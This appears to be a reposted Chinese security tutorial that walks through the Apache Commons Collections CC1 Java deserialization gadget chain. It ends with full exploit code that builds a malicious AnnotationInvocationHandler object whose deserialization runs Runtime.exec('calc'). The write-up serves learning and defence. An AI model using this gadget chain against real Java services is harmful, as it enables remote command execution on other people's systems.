Java安全 CC链1分析

news2024/11/26 10:28:45

Java安全之CC链1分析

  • 什么是CC链
  • 环境搭建
    • jdk下载
    • idea配置
    • 创建项目
  • 前置知识
    • Transformer接口
    • ConstantTransformer类
    • invokerTransformer类
    • ChainedTransformer类
  • 构造CC链1
    • CC链1核心
      • demo1
      • demo1分析
    • 寻找如何触发CC链1核心
      • TransformedMap类
      • AbstractInputCheckedMapDecorator类
      • readObject方法
  • 完整cc链1 exp

什么是CC链

Apache Commons工具包中有⼀个组件叫做 Apache Commons Collections ,其封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,而正是因为在大量web应⽤程序中这些类的实现以及⽅法的调用,导致了反序列化漏洞的普遍性和严重性

Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer,它可通过反射调用类中的方法,从而通过一连串的调用而造成命令执行,这条链便叫做Commons Collections链(简称cc链)。

建议学习cc链之前先学一下Java的反射机制

环境搭建

jdk下载

我们一共需要下载两个东西

  • CommonsCollections <= 3.2.1
  • java 8u66 (高版本的jdk有些漏洞已被修复)

java 8u66下载地址
在这里插入图片描述

一些源码为class文件,idea反编译出来的文件不方便阅读,我们需要去下载openjdk的源码,并导入我们的jdk中

下载地址
在这里插入图片描述

在jdk 8u66安装好后,我们进入安装目录的jdk1.8.0_65文件夹,将 src.zip 解压到当前文件夹
在这里插入图片描述

然后将刚才下好的openjdk源码解压,并来到src\share\classes下面,将sun文件夹复制到jdk的src目录中

idea配置

我们点击左上角的项目结构
在这里插入图片描述

然后将jdk的src目录分别添加到类路径和源路径中
在这里插入图片描述

创建项目

我们构建系统选择Maven然后创建名为cc1的项目
在这里插入图片描述

然后在项目左侧的文件栏中选择 pom.xml 并在其中添加以下内容

用于下载commons-collections依赖

    <dependencies>
        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

最后右键 pom.xml,再点击 Maven选项,按图上标号顺序点击即可

生成源代码需要等待一小会,等目录中出现target文件夹时即可点击 重新加载项目
在这里插入图片描述

到此我们所需环境配置完成,下面开始调试分析

前置知识

Transformer接口

接口代码为

public interface Transformer {
    public Object transform(Object input);
}

该接口实现了对 对象 的转化,对传入的对象进行一些操作,然后并返回操作完的对象

该接口的重要实现有:

  • ConstantTransformer
  • invokerTransformer
  • ChainedTransformer
  • TransformedMap

这些实现的类都与CC链有关,以下是对这些实现的介绍

ConstantTransformer类

ConstantTransformer类的代码为

public class ConstantTransformer implements Transformer, Serializable {
    public static Transformer getInstance(Object constantToReturn) {
        if (constantToReturn == null) {
            return NULL_INSTANCE;
        }
        return new ConstantTransformer(constantToReturn);
    }
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return iConstant;
    }
    public Object getConstant() {
        return iConstant;
    }
}

我们着重分析下ConstantTransformer构造方法和transform方法

其ConstantTransformer构造方法接收任意类型对象,并赋值给 iConstant 变量,然后无论 transform方法接收什么 input 参数,其都会返回 iConstant 变量,也就是说假如只调用构造方法和transform方法的话,我们传入什么对象,就会原封不动地返回什么对象

invokerTransformer类

invokerTransformer类的代码为

public class InvokerTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = -8653385846894047688L;
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;
    public static Transformer getInstance(String methodName) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        }
        return new InvokerTransformer(methodName);
    }
    public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        }
        if (((paramTypes == null) && (args != null))
            || ((paramTypes != null) && (args == null))
            || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
            throw new IllegalArgumentException("The parameter types must match the arguments");
        }
        if (paramTypes == null || paramTypes.length == 0) {
            return new InvokerTransformer(methodName);
        } else {
            paramTypes = (Class[]) paramTypes.clone();
            args = (Object[]) args.clone();
            return new InvokerTransformer(methodName, paramTypes, args);
        }
    }
    private InvokerTransformer(String methodName) {
        super();
        iMethodName = methodName;
        iParamTypes = null;
        iArgs = null;
    }
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

我们同样分析下 InvokerTransformer构造方法和transform方法

构造方法为

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

该方法接收3个参数,分别为 方法名方法参数类型表方法参数,在成功接收这三个参数后,便会赋值给其成员变量iMethodName,iParamTypes,iArgs

transform方法为

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

该方法首先需要接收一个名为 input 的对象参数,如果该参数不存在则返回NULL,然后通过 getClass() 方法获取该对象的class对象赋值给cls,然后又通过 getMethod() 方法,获取cls对象中指定参数类型的公共方法,最后通过 invoke() 方法对刚才获取的方法传入参数iArgs并执行,最后返回执行结果(基于反射机制实现)。

ChainedTransformer类

ChainedTransformer类代码为

public class ChainedTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = 3514945074733160196L;
    private final Transformer[] iTransformers;
    public static Transformer getInstance(Transformer[] transformers) {
        FunctorUtils.validate(transformers);
        if (transformers.length == 0) {
            return NOPTransformer.INSTANCE;
        }
        transformers = FunctorUtils.copy(transformers);
        return new ChainedTransformer(transformers);
    }
    public static Transformer getInstance(Collection transformers) {
        if (transformers == null) {
            throw new IllegalArgumentException("Transformer collection must not be null");
        }
        if (transformers.size() == 0) {
            return NOPTransformer.INSTANCE;
        }
        Transformer[] cmds = new Transformer[transformers.size()];
        int i = 0;
        for (Iterator it = transformers.iterator(); it.hasNext();) {
            cmds[i++] = (Transformer) it.next();
        }
        FunctorUtils.validate(cmds);
        return new ChainedTransformer(cmds);
    }
    public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
        if (transformer1 == null || transformer2 == null) {
            throw new IllegalArgumentException("Transformers must not be null");
        }
        Transformer[] transformers = new Transformer[] { transformer1, transformer2 };
        return new ChainedTransformer(transformers);
    }
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }
    public Transformer[] getTransformers() {
        return iTransformers;
    }
} 

我们分析其ChainedTransformer构造方法和transform方法

首先构造方法接收一个Transformer[]接口类型的数组,并将其赋值给成员变量iTransformers

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

然后transform方法会循环遍历该Transformer数组,执行该数组每一个成员的 transform 方法,并将执行结果作为下一次 transform 的参数,最后返回最终的执行结果

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

ChainedTransformer类可以说非常重要,是cc链的核心,它可以将整条cc链串起来,进行链式执行

构造CC链1

CC链1核心

cc链1的核心就是以下代码

Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
//通过Runtime类的getRuntime方法的exec函数进行命令执行

demo1

实现这条核心代码的便是如下transform链

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class demo1{
    public static void main(String[] args) throws Exception{
        //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法
    }
}

该方法定义了一个Transformer接口的数组,然后将该数组传递给 ChainedTransformer 类

demo1分析

接下来我们来逐条分析一下

首先 transformerChain对象调用了transform方法(传入参数1),开始循环遍历 transformers 数组

第一次遍历:

执行

ConstantTransformer(Runtime.class).transform(1)

因为 Runtime 为单例类,不能直接实例化,所以要通过反射的方法获取

由于ConstantTransformer的transform方法不受传入参数的影响,故返回值还是 Runtime.class

第二次遍历:

将上一次的结果 Runtime.class带入本次transform,执行

InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class)

得到返回结果为

Runtime.class.getMethod("getRuntime")

第三次遍历:

将上一次结果Runtime.class.getMethod("getRuntime")带入本次transform,执行

InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(Runtime.class.getMethod("getRuntime"))

得到返回结果为

Runtime.class.getMethod("getRuntime").invoke(null)

第四次遍历:

将上一次结果Runtime.class.getMethod("getRuntime").invoke(null)带入本次transform,执行

InvokerTransformer("exec", new Class[]{String.class}, new Object[{"calc"}).transform(Runtime.class.getMethod("getRuntime").invoke(null))

得到最终执行结果为

Runtime.class.getMethod("getRuntime").invoke(null).exec("calc")

我们运行,可以看到成功弹出计算器
在这里插入图片描述

寻找如何触发CC链1核心

TransformedMap类

我们选中transform()方法,查看哪里对其进行了调用
在这里插入图片描述

发现TransformedMap类中的checkSetValue方法对其进行了调用,并返回
在这里插入图片描述

该方法定义如下

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

所以我们只需将TransformedMap类中的valueTransformer属性赋值为ChainedTransformer(上一步的核心链),然后调用它的checkSetValue方法,从而触发ChainedTransformer的transform方法,对Transformer数组进行遍历循环,即可进行代码执行

但是我们向上找到TransformedMap类的构造方法,如下

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

发现构造发现是 protected 类型的,并不能直接new实例化,但我们发现了其 decorate 静态方法,如下

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

通过分析,我们发现我们只需调用TransformedMap类的静态方法decorate,即可得到一个可自定义属性(包括valueTransformer)的TransformedMap对象

这样我们调用checkSetValue方法时,transform方法 执行的对象赋值的问题便解决了

AbstractInputCheckedMapDecorator类

接下来我们便寻找那里调用了 checkSetValue方法,同样通过(Alt+F7),查找用法

这里只找到一处引用
在这里插入图片描述

AbstractInputCheckedMapDecorator类setValue方法中,该方法如下

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }

也就是我们在执行setValue方法时便会触发cc链1

同时我们发现 TransformedMap类(上文含有checkSetValue和decorate方法的类)是AbstractInputCheckedMapDecorator类的子类

public class TransformedMap
        extends AbstractInputCheckedMapDecorator
……

并且AbstractInputCheckedMapDecorator类重写了Map.EntrysetValue方法,具体继承关系由下图所示
在这里插入图片描述在这里插入图片描述

所以当我们调用TransformedMap类装饰的Map(键值对集合),其Map.Entry(键值对)的setValue方法时,调用的便是它的父类AbstractInputCheckedMapDecorator类重写的setValue方法,便会触发 checkSetValue方法,从而触发cc链1

我们写一个这样的例子,遍历TransformedMap类装饰的Map的Entry

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
public class demo2 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","value");
        //创建TransformedMap类装饰的Map
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);
        for (Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(1);
        }
    }
}

readObject方法

然后我们再寻找哪里调用了setValue方法,同样 Alt+F7快捷键选中查找引用

我们在AnnotationInvocationHandler类readObject方法中找到了对setValue方法的引用,好像找到了这条cc链1的反序列化起点,接下来我们具体分析下
在这里插入图片描述

readObject方法代码如下

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

我们发现需要利用的核心代码主要如下

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)){
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

经分析得,我们首先需要满足两重if语句,然后才可以对该Map.Entry执行setValue方法

这里强调一下,虽然这里的setValue方法带一个初始值,但我们ConstantTransformer类的transform方法,不受参数影响,构造方法传入什么,就原封不动返回什么

第一重if

if (memberType != null)

memberType由以下关键代码获得

annotationType = AnnotationType.getInstance(type);//获取传入的class对象的成员类型信息,type是构造方法传的class对象
Map<String, Class<?>> memberTypes = annotationType.memberTypes();//获取传入的Class对象类中的成员名和类型         
String name = memberValue.getKey(); //获取Map键值对中的键名(成员名)
Class<?> memberType = memberTypes.get(name);//获取传入的Class对象中对应Map中成员名的类型

所以我们传入的class对象中要具有传入的Map中的键名成员(而且要为Annotation类的子类,下面有讲)

举个例子

假如传入Map如下
HashMap<Object,Object> hash = new HashMap<>();
hash.put("value",'b');
则我们传入的第一个参数,也就是class对象中必须有一个名为value的成员,这个成员可以是属性也可以是方法 

第二重if

if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy))

我们要让里面的两个条件都为假,及Map的键值不能为见面对应类型或其子类型的实例的实例,同时不能为ExceptionProxy 类或其子类的实例

我们再来看下AnnotationInvocationHandler类构造方法,代码如下

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

该构造方法需要接收两个参数 **Annotation类或其子类的class对象 ** 和 **Map<String, Object>**对象

我们发现构造方法和类都私有的,需要通过反射获得

然后我们找到Annotation类的子类Target类中含有一个名为 value 的方法,定义如下

//Retention.java
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
    RetentionPolicy value();
}

这样我们传入有个含有键名为 value 的Map即可大功告成

完整cc链1 exp

如下:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Serialcc {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {

        //定义一系列Transformer对象,组成一个变换链
        Transformer[] transformers = new Transformer[]{
                //返回Runtime.class
                new ConstantTransformer(Runtime.class),
                //通过反射调用getRuntime()方法获取Runtime对象
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                //通过反射调用invoke()方法
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                //通过反射调用exec()方法启动notepad
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //将多个Transformer对象组合成一个链
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hash = new HashMap<>();
        //给HashMap添加一个键值对
        hash.put("value",'b');
        //使用chainedTransformer装饰HashMap生成新的Map decorate
        Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);

        //通过反射获取AnnotationInvocationHandler类的构造方法
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        //设置构造方法为可访问的
        constructor.setAccessible(true);
        //通过反射调用构造方法,传入Target.class和decorate参数,创建代理对象o
        Object o = constructor.newInstance(Target.class, decorate);

        serialize(o); //定义了一个序列化的方法
        unserialize("1.bin"); //定义了一个反序列化的方法
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }

}

运行成功弹出计算器
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1399978.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

IDEA在重启springboot项目时没有自动重新build

IDEA在重启springboot项目时没有自动重新build 问题描述 当项目里面某些依赖或者插件更新了&#xff0c;target的class文件没有找到&#xff0c;导致不是我们需要的效果。 只能手动的清理target文件&#xff0c;麻烦得很 &#xff0c; 单体项目还好说&#xff0c;一次清理就…

Qt5.15.2中加入图片资源

系列文章目录 文章目录 系列文章目录前言一、加入图片资源二、代码 前言 以前用的Qt5.15.2之前的版本&#xff0c;QtCreator默认的工程文件是*.pro&#xff0c;现在用5.15.2创建工程默认的工程文件是CMameList.txt,当然在创建项目时&#xff0c;仍然可以使用pro工程文件用QtCr…

JRP Version 1.4.120

使用Flask学习制作网页一个月后&#xff1a; 借用HTML书籍学习&#xff0c;自己做的NAS管理系统终于是长得好看了一些&#xff1a; 使用模版继承&#xff0c;最开始是引用人家的库 from flask_bootstrap import Bootstrap&#xff0c; 效果&#xff1a; 我准备进一步管理但是发…

vivado 定义板文件板

定义板文件板 &#xff1c;board&#xff1e;标记是板文件的根。它包括识别基本信息的属性关于董事会。 <board schema_version"2.1" vendor"xilinx.com" name"kc705" display_name"Kintex-7 KC705 Evaluation Platform" url&qu…

python-基础篇-函数

文章目录 函数基础目标01. 函数的快速体验1.1 快速体验 02. 函数基本使用2.1 函数的定义2.2 函数调用2.3 第一个函数演练思考 2.4 PyCharm 的调试工具2.5 函数的文档注释 03. 函数的参数3.1 函数参数的使用3.2 参数的作用3.3 形参和实参 04. 函数的返回值05. 函数的嵌套调用函数…

Redis(四)

1、Redis的单/多线程 1.1、单线程 其实直接说Redis什么单线程或者是多线程&#xff0c;不太准确&#xff0c;在redis的4.0版主之前是单线程&#xff0c;然后在之后的版本中redis的渐渐改为多线程。 Redis是单线程主要是指Redis的网络IO和键值对读写是由一个线程来完成的&#…

C语言/c++指针详细讲解【超详细】【由浅入深】

指针用法简单介绍 指针&#xff0c;是内存单元的编号。 内存条分好多好多小单元&#xff0c;一个小单元有 8 位&#xff0c;可以存放 8 个 0 或 1&#xff1b;也就是说&#xff0c;内存的编号不是以位算的&#xff0c;而是以字节算的&#xff0c;不是一个 0 或 1 是一个编号&…

k3s x GitLab Runner Operator,GitLab CI 云原生构建新体验

GitLab CI 是非常常用的一款 CI/CD 工具&#xff0c;只需要在 .gitlab-ci.yml 文件中用 YAML 语法编写 CI/CD 流水线即可。而 GitLab CI 能够运行的关键组件是 GitLab Runner。GitLab Runner 是一个轻量级、高扩展的代理&#xff0c;主要用来执行 GitLab CI/CD 流水线中的 Job&…

1、中级机器学习课程简介

文章目录 1、课程简介2、先决条件 本课程所需数据集夸克网盘下载链接&#xff1a;https://pan.quark.cn/s/9b4e9a1246b2 提取码&#xff1a;uDzP 1、课程简介 欢迎来到机器学习中级课程&#xff01; 如果你对机器学习有一些基础&#xff0c;并且希望学习如何快速提高模型质量…

three.js从入门到精通系列教程026 - three.js通过SphereBufferGeometry创建用于投射阴影的球体

<!DOCTYPE html> <html><head><meta charset"UTF-8"><title>three.js从入门到精通系列教程026 - three.js通过SphereBufferGeometry创建用于投射阴影的球体</title><script src"ThreeJS/three.js"></script&…

立体视觉几何(一)

1.什么是立体视觉几何 立体视觉对应重建&#xff1a; • 对应&#xff1a;给定一幅图像中的点pl&#xff0c;找到另一幅图像中的对应点pr。 • 重建&#xff1a;给定对应关系(pl, pr)&#xff0c;计算空间中相应点的3D 坐标P。 立体视觉&#xff1a;从图像中的投影恢复场景中点…

vue2 点击按钮下载文件保存到本地(后台返回的zip压缩流)

// import ./mock/index.js; // 该项目所有请求使用mockjs模拟 去掉mock页面url下载 console.log(res, res)//token 是使页面不用去登录了if (res.file) {window.location.href Vue.prototype.$config.VUE_APP_BASE_IDSWAPI Vue.prototype.$config.VUE_APP_IDSW /service/mode…

【征服Redis12】redis的主从复制问题

从现在开始&#xff0c;我们来讨论redis集群的问题&#xff0c;在前面我们介绍了RDB和AOF两种同步机制&#xff0c;那你是否考虑过这两个机制有什么用呢&#xff1f;其中的一个重要作用就是为了集群同步设计的。 Redis是一个高性能的键值存储系统&#xff0c;广泛应用于Web应用…

如何本地部署虚VideoReTalking

环境&#xff1a; Win10专业版 VideoReTalking 问题描述&#xff1a; 如何本地部署虚VideoReTalking 解决方案&#xff1a; VideoReTalking是一个强大的开源AI对嘴型工具&#xff0c;它是我目前使用过的AI对嘴型工具中效果最好的一个&#xff01;它是由西安电子科技大学、…

71.工作中redis的常用场景总结

文章目录 一、简介二、统计访问次数三、缓存四、分布式锁五、限流六、排行榜七、作为Session的存储器&#xff0c;存用户登录状态八、位统计九、生成全局ID 一、简介 Redis作为一种优秀的基于key/value的缓存&#xff0c;有非常不错的性能和稳定性&#xff0c;无论是在工作中&…

Python武器库开发-武器库篇之Fofa-API使用(四十六)

Python武器库开发-武器库篇之Fofa-API使用(四十六) FOFA&#xff08;FOcus Observation of Futures Assets&#xff09;是一款专业的网络资产搜索引擎&#xff0c;旨在帮助企业发现和评估网络上的潜在安全风险。FOFA的基本原理是通过搜索引擎的方式&#xff0c;按照关键词对互…

BaiJiaCms 漏洞挖掘

今天来和大家讲一下baijiacms的漏洞挖掘&#xff0c;小编一般都是黑盒测试&#xff0c;没有对其代码审计&#xff0c;&#xff08;等小编把常见的漏洞都了解一下在进行代码审计&#xff09; 1.存储型XSS 首先需要进入管理员账号 找到一个“调用第三方统计代码”的方框&#xf…

面向对象之深度优先和广度优先

面向对象深度优先和广度优先是什么&#xff1f; 二叉树的两种遍历是数据结构的经典考察题目, 广度遍历考察队列结构, 深度遍历考察递归 深度优先 先序遍历(父, 左子, 右子) 0, 1, 3, 7, 8, 4, 9, 2, 5, 6 中序遍历(左子, 父, 右子) 7, 3, 8, 1, 9, 4, 0, 5, 2, 6 后序遍历(左子…

Java编程练习之this关键字(2)

this关键字除了可以调用成员变量或成员方法之外&#xff0c;还可以作为方法的返回值。 示例&#xff1a;创建一个类文件&#xff0c;在类中定义Book类型的方法&#xff0c;并通过this关键字进行返回。 public class Book{ public Book getBook(){ return this; } } 在getB…

天龙八部资源提取工具(提取+添加+修改+查看+教程)

可以提取&#xff0c;添加&#xff0c;修改&#xff0c;查看天龙八部里面的数据。非常好用。 天龙八部资源提取工具&#xff08;提取添加修改查看教程&#xff09; 下载地址&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1XOMJ1xvsbD-UUQOv3QfHPQ?pwd0kd0 提取码&…